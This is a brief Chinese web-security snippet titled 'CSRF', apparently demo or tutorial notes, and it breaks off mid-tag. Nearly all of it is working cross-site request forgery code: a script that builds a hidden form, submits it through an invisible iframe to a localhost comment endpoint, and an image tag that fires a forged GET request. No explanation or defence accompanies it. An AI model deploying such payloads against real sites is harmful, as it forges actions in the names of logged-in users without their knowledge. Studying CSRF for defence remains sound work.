web安全问题-csrf
web安全问题 csrf <script> document.write(` <form name="commentForm" target="csrf" method="post" action="http://localhost:1521/post/addComment"> <input name="postId" type="hidden" value="13"> <textarea name="content">来自csrf</textarea> </form> ` ); var iframe = document.createElement('iframe'); iframe.name = 'csrf'; iframe.style.display = 'none'; document.body.appendChild(iframe); setTimeout(function(){ document.querySelector('[name=commentForm]').submit(); },1000) </script> <img src="http://localhost:1521/ajax/addComment?postId=13&content=123123"> <a href="http://localhost:1521/ajax/addComment